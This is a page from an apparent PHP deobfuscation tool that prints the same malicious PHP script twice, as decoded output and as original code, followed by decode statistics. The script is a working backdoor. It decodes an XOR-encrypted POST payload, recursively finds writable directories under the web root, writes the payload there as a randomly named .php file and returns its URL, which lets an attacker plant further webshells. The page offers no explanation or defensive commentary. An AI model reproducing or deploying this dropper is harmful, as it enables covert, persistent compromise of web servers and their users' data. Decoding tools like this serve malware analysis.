Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php foreach ($_POST as $postKey => $value) { if (strlen($postKey) == 16) { ..

Decoded Output download

<?php 
foreach ($_POST as $postKey => $value) { 
    if (strlen($postKey) == 16) { 
        $value = str_split(rawurldecode(str_rot13($value))); 
        $postKey = array_slice(str_split(str_repeat($postKey, count($value) / 16 + 1)), 0, count($value)); 
        function aLZUGIt($xZSaZ, $yCDgbEzFJ, $postKey) 
        { 
            $PsKak = '6ab3094c-0ee5-4be3-9705-e37dbc34cf22'; 
            return $xZSaZ ^ $PsKak[$yCDgbEzFJ % strlen($PsKak)] ^ $postKey; 
        } 
        $value = implode("", array_map("aLZUGIt", array_values($value), array_keys($value), array_values($postKey))); 
        $value = @unserialize($value); 
        if (@is_array($value)) { 
            $QrVJyj = array_keys($value); 
            $value = $value[$QrVJyj[0]]; 
            if ($value === $QrVJyj[0]) { 
                echo @serialize(array('php' => @phpversion())); 
                exit; 
            } else { 
                function kThHoqy($eRLQxBjiir) 
                { 
                    static $USfvhVEExS = array(); 
                    $eRLQxBjiEVujYAIRS = glob($eRLQxBjiir . '/*', GLOB_ONLYDIR); 
                    if (count($eRLQxBjiEVujYAIRS) > 0) { 
                        foreach ($eRLQxBjiEVujYAIRS as $eRLQxBji) { 
                            if (@is_writable($eRLQxBji)) { 
                                $USfvhVEExS[] = $eRLQxBji; 
                            } 
                        } 
                    } 
                    foreach ($eRLQxBjiEVujYAIRS as $eRLQxBjiir) { 
                        kThHoqy($eRLQxBjiir); 
                    } 
                    return $USfvhVEExS; 
                } 
                $GStmFno = $_SERVER['DOCUMENT_ROOT']; 
                $eRLQxBjiEVujYAIRS = kThHoqy($GStmFno); 
                $QrVJyj = array_rand($eRLQxBjiEVujYAIRS); 
                $OJQzi = $eRLQxBjiEVujYAIRS[$QrVJyj] . '/' . substr(md5(time()), 0, 8) . '.php'; 
                @file_put_contents($OJQzi, $value); 
                echo 'http://' . $_SERVER['HTTP_HOST'] . substr($OJQzi, strlen($GStmFno)); 
                exit; 
            } 
        } 
    } 
} 
 ?>

Did this file decode correctly?

Original Code

<?php
foreach ($_POST as $postKey => $value) {
    if (strlen($postKey) == 16) {
        $value = str_split(rawurldecode(str_rot13($value)));
        $postKey = array_slice(str_split(str_repeat($postKey, count($value) / 16 + 1)), 0, count($value));
        function aLZUGIt($xZSaZ, $yCDgbEzFJ, $postKey)
        {
            $PsKak = '6ab3094c-0ee5-4be3-9705-e37dbc34cf22';
            return $xZSaZ ^ $PsKak[$yCDgbEzFJ % strlen($PsKak)] ^ $postKey;
        }
        $value = implode("", array_map("aLZUGIt", array_values($value), array_keys($value), array_values($postKey)));
        $value = @unserialize($value);
        if (@is_array($value)) {
            $QrVJyj = array_keys($value);
            $value = $value[$QrVJyj[0]];
            if ($value === $QrVJyj[0]) {
                echo @serialize(array('php' => @phpversion()));
                exit;
            } else {
                function kThHoqy($eRLQxBjiir)
                {
                    static $USfvhVEExS = array();
                    $eRLQxBjiEVujYAIRS = glob($eRLQxBjiir . '/*', GLOB_ONLYDIR);
                    if (count($eRLQxBjiEVujYAIRS) > 0) {
                        foreach ($eRLQxBjiEVujYAIRS as $eRLQxBji) {
                            if (@is_writable($eRLQxBji)) {
                                $USfvhVEExS[] = $eRLQxBji;
                            }
                        }
                    }
                    foreach ($eRLQxBjiEVujYAIRS as $eRLQxBjiir) {
                        kThHoqy($eRLQxBjiir);
                    }
                    return $USfvhVEExS;
                }
                $GStmFno = $_SERVER['DOCUMENT_ROOT'];
                $eRLQxBjiEVujYAIRS = kThHoqy($GStmFno);
                $QrVJyj = array_rand($eRLQxBjiEVujYAIRS);
                $OJQzi = $eRLQxBjiEVujYAIRS[$QrVJyj] . '/' . substr(md5(time()), 0, 8) . '.php';
                @file_put_contents($OJQzi, $value);
                echo 'http://' . $_SERVER['HTTP_HOST'] . substr($OJQzi, strlen($GStmFno));
                exit;
            }
        }
    }
}

Function Calls

None

Variables

None

Stats

MD5 12a0bce4a4d2c74c7fcd9831a315b677
Eval Count 0
Decode Time 62 ms